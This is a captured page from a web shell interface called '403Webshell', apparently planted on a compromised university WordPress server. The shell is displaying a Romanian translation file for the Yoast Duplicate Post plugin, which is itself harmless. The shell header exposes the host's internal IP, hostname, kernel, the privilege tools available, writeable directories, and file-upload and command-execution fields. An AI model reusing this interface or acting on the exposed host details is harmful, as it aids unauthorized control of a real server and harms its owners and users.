403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rcssed/public_html/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rcssed/public_html/wp-content/languages/plugins/duplicate-post-ro_RO.po
# Translation of Plugins - Yoast Duplicate Post - Stable (latest release) in Romanian
# This file is distributed under the same license as the Plugins - Yoast Duplicate Post - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2023-01-13 18:56:57+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=(n == 1) ? 0 : ((n == 0 || n % 100 >= 2 && n % 100 <= 19) ? 1 : 2);\n"
"X-Generator: GlotPress/4.0.0-alpha.3\n"
"Language: ro\n"
"Project-Id-Version: Plugins - Yoast Duplicate Post - Stable (latest release)\n"

#: src/handlers/check-changes-handler.php:133
msgid "Removed"
msgstr "Înlăturat"

#: src/handlers/check-changes-handler.php:134
msgid "Added"
msgstr "Adăugat"

#: src/admin/views/options.php:190
msgid "Show these links"
msgstr "Arată aceste legături"

#: src/post-republisher.php:83 src/ui/classic-editor.php:224
#: js/dist/duplicate-post-strings-450.js:1
msgid "Republish"
msgstr "Re-publică"

#: src/post-republisher.php:332
msgid "An error occurred while republishing the post."
msgstr "A apărut o eroare la re-publicarea articolului."

#: src/admin/options.php:142
msgid "Post format"
msgstr "Format articol"

#: src/ui/newsletter.php:58
msgid "Subscribe"
msgstr "Abonează-te"

#: src/ui/row-actions.php:87
msgctxt "verb"
msgid "Clone"
msgstr "Clonează"

#. Author URI of the plugin
msgid "https://yoast.com"
msgstr "https://yoast.com"

#. Plugin Name of the plugin
msgid "Yoast Duplicate Post"
msgstr "Yoast Duplicate Post"

#. translators: %s: Post title.
#: src/ui/row-actions.php:112
msgid "New draft of &#8220;%s&#8221;"
msgstr "Ciornă nouă pentru &#8222;%s&#8221;"

#. Plugin URI of the plugin
msgid "https://yoast.com/wordpress/plugins/duplicate-post/"
msgstr "https://yoast.com/wordpress/plugins/duplicate-post/"

#. Author of the plugin
msgid "Enrico Battocchi & Team Yoast"
msgstr "Enrico Battocchi și echipa Yoast"

#: src/ui/newsletter.php:29
msgid "Email address"
msgstr "Adresă email"

#. translators: %s: post title
#: src/utils.php:144
msgid "View &#8220;%s&#8221;"
msgstr "Vezi &#8222;%s&#8221;"

#. translators: %s: post title
#: src/utils.php:134
msgid "Preview &#8220;%s&#8221;"
msgstr "Previzualizează &#8222;%s&#8221;"

#. translators: %s: post title
#: src/utils.php:122
msgid "Edit &#8220;%s&#8221;"
msgstr "Editează &#8222;%s&#8221;"

#: src/admin/options.php:256
msgid "After the title in the Post list"
msgstr "După titlu, în lista de articole"

#. translators: %s: Post title.
#: src/ui/row-actions.php:85
msgid "Clone &#8220;%s&#8221;"
msgstr "Clonează &#8222;%s&#8221;"

#. translators: %s: Original item link (to view or edit) or title.
#: src/ui/post-states.php:67
msgid "Original: %s"
msgstr "Original: %s"

#: duplicate-post.php:98
msgid "Settings for Duplicate Post"
msgstr "Setări pentru Duplicate Post"

#: src/admin/views/options.php:227
msgid "Show original item:"
msgstr "Arată elementul original:"

#: src/admin/views/options.php:20
msgid "Settings sections"
msgstr "Secțiuni setări"

#: src/ui/column.php:68
msgid "Original item"
msgstr "Element original"

#: src/handlers/link-handler.php:58 src/handlers/link-handler.php:114
#: src/handlers/link-handler.php:188
msgid "Current user is not allowed to copy posts."
msgstr "Utilizatorului curent nu are voie să copieze articole."

#: admin-functions.php:750
msgid "Documentation"
msgstr "Documentație"

#: src/admin/options.php:165
msgid "you probably want this unchecked, unless you have very special requirements"
msgstr "probabil vrei asta nebifată, dacă nu ai cerințe foarte speciale"

#: src/admin/options.php:149
msgid "Author"
msgstr "Autor"

#: src/admin/options.php:307
msgid "Bulk Actions"
msgstr "Acțiuni în masă"

#: src/admin/options.php:135
msgid "Template"
msgstr "Șablon"

#: src/admin/options.php:128
msgid "Featured Image"
msgstr "Imagine reprezentativă"

#: src/admin/options.php:217
msgid "You can use * to match zero or more alphanumeric characters or underscores: e.g. field*"
msgstr ""
"Poți folosi * pentru a potrivi cu zero sau mai multe caractere alfanumerice sau liniuțe-jos:\n"
"de exemplu câmp*"

#: src/admin/options.php:186
msgid "Menu order"
msgstr "Ordinea din meniu"

#. translators: %s: Number of posts copied.
#: src/watchers/bulk-actions-watcher.php:55
#: src/watchers/link-actions-watcher.php:73
msgid "%s item copied."
msgid_plural "%s items copied."
msgstr[0] "%s element copiat."
msgstr[1] "%s elemente copiate."
msgstr[2] "%s de elemente copiate."

#: src/admin/views/options.php:127
msgid "Show/hide private taxonomies"
msgstr "Arată/ascunde taxonomiile private"

#: src/admin/options.php:180
msgid "except pingbacks and trackbacks"
msgstr "cu excepția pingback-urilor și trackback-urilor"

#: src/admin/views/options.php:37 src/admin/views/options.php:140
msgid "Permissions"
msgstr "Permisiuni"

#: src/admin/views/options.php:28 src/admin/views/options.php:55
msgid "What to copy"
msgstr "Ce să copiezi"

#: src/admin/options.php:107
msgid "Slug"
msgstr "Descriptor"

#: src/admin/options.php:208
msgid "Add this number to the original menu order (blank or zero to retain the value)"
msgstr "Adaugă acest număr la ordinea inițială din meniu (gol sau zero pentru păstrarea valorii)"

#: src/admin/options.php:206 src/admin/views/options.php:93
msgid "Increase menu order by"
msgstr "Crește ordinea din meniu prin"

#: src/admin/options.php:156
msgid "Password"
msgstr "Parolă"

#: src/admin/options.php:121 src/handlers/check-changes-handler.php:127
msgid "Content"
msgstr "Conținut"

#: src/admin/views/options.php:58 src/admin/views/options.php:61
msgid "Post/page elements to copy"
msgstr "Elementele articolului/paginii de copiat"

#: src/admin/options.php:178
msgid "Comments"
msgstr "Comentarii"

#: src/admin/options.php:171
msgid "Children"
msgstr "Copii"

#: src/admin/options.php:163
msgid "Attachments"
msgstr "Atașamente"

#: src/admin/options.php:114 src/handlers/check-changes-handler.php:128
msgid "Excerpt"
msgstr "Rezumat"

#: src/admin/options.php:86 src/handlers/check-changes-handler.php:126
msgid "Title"
msgstr "Titlu"

#: src/admin/options.php:100
msgid "Status"
msgstr "Stare"

#: src/admin/options.php:93
msgid "Date"
msgstr "Dată"

#: admin-functions.php:603
msgid "Copy features for this post type are not enabled in options page"
msgstr "Funcționalitățile de copiere pentru acest tip de articol nu sunt activate în pagina de opțiuni"

#: src/admin/views/options.php:162 src/admin/views/options.php:166
msgid "Enable for these post types"
msgstr "Activează pentru aceste tipuri de articol"

#: src/admin/views/options.php:46 src/admin/views/options.php:187
msgid "Display"
msgstr "Afișează"

#: src/admin/views/options.php:155
msgid "Passwords and contents of password-protected posts may become visible to undesired users and visitors."
msgstr "Parolele și conținuturile articolelor protejate cu parolă pot deveni vizibile pentru utilizatorii nedoriți și vizitatori."

#: src/admin/views/options.php:172
msgid "Select the post types you want the plugin to be enabled for."
msgstr "Selectează tipurile de articol pentru care vrei să fie activat modulul."

#: duplicate-post.php:99
msgid "Settings"
msgstr "Setări"

#: src/admin/options.php:199 src/admin/views/options.php:82
msgid "Title suffix"
msgstr "Titlu sufix"

#: src/admin/options.php:271 src/ui/row-actions.php:114
msgid "New Draft"
msgstr "Ciornă nouă"

#: src/admin/views/options.php:116 src/admin/views/options.php:120
msgid "Do not copy these taxonomies"
msgstr "Nu copia aceste taxonomii"

#: src/handlers/link-handler.php:63 src/handlers/link-handler.php:119
#: src/handlers/link-handler.php:193
msgid "No post to duplicate has been supplied!"
msgstr "Nu a fost furnizat niciun articol pentru duplicare!"

#: src/admin/options-page.php:76 src/admin/views/options.php:14
msgid "Duplicate Post Options"
msgstr "Opțiuni duplicare articole"

#: src/admin/views/options.php:247
msgid "Save changes"
msgstr "Salvează modificările"

#: src/admin/options.php:302
msgid "Edit screen"
msgstr "Ecran de editare"

#: src/admin/options.php:297
msgid "Admin bar"
msgstr "Bară de administrare"

#: src/admin/options.php:201
msgid "Suffix to be added after the title, e.g. \"(dup)\" (blank for no suffix)"
msgstr "Sufixul de adăugat după titlu, de exemplu \"(dup)\" (gol pentru niciun sufix)"

#: src/admin/options.php:194
msgid "Prefix to be added before the title, e.g. \"Copy of\" (blank for no prefix)"
msgstr "Prefixul de adăugat înainte de titlu, de exemplu \"Copie a \" (gol pentru niciun prefix)"

#: src/admin/options.php:213 src/admin/views/options.php:105
msgid "Do not copy these fields"
msgstr "Nu copia aceste câmpuri"

#: src/admin/options-page.php:77 src/ui/admin-bar.php:89 src/ui/metabox.php:59
msgid "Duplicate Post"
msgstr "Duplicare articol"

#: src/admin/options.php:192 src/admin/views/options.php:71
msgid "Title prefix"
msgstr "Prefix titlu"

#: src/admin/views/options.php:144 src/admin/views/options.php:147
msgid "Roles allowed to copy"
msgstr "Rolurile permise pentru a copia"

#: src/admin/options.php:216
msgid "Comma-separated list of meta fields that must not be copied."
msgstr "Lista câmpurilor meta, separate cu virgulă, care nu trebuie să fie copiate."

#: src/admin/views/options.php:202
msgid "Show links in"
msgstr "Arată legăturile în"

#: src/handlers/link-handler.php:75 src/handlers/link-handler.php:131
#: src/handlers/link-handler.php:205
msgid "Copy creation failed, could not find original:"
msgstr "Crearea copiei a eșuat, nu am găsit originalul:"

#: common-functions.php:79 src/ui/admin-bar.php:97 src/ui/admin-bar.php:115
#: src/ui/classic-editor.php:144 js/dist/duplicate-post-edit-450.js:1
msgid "Copy to a new draft"
msgstr "Copiază într-o ciornă nouă"

#: src/admin/options.php:276 src/ui/bulk-actions.php:69
msgid "Clone"
msgstr "Clonează"

#: src/admin/options.php:292
msgid "Post list"
msgstr "Listă cu articole"

Youez - 2016 - github.com/yon3zu
LinuXploit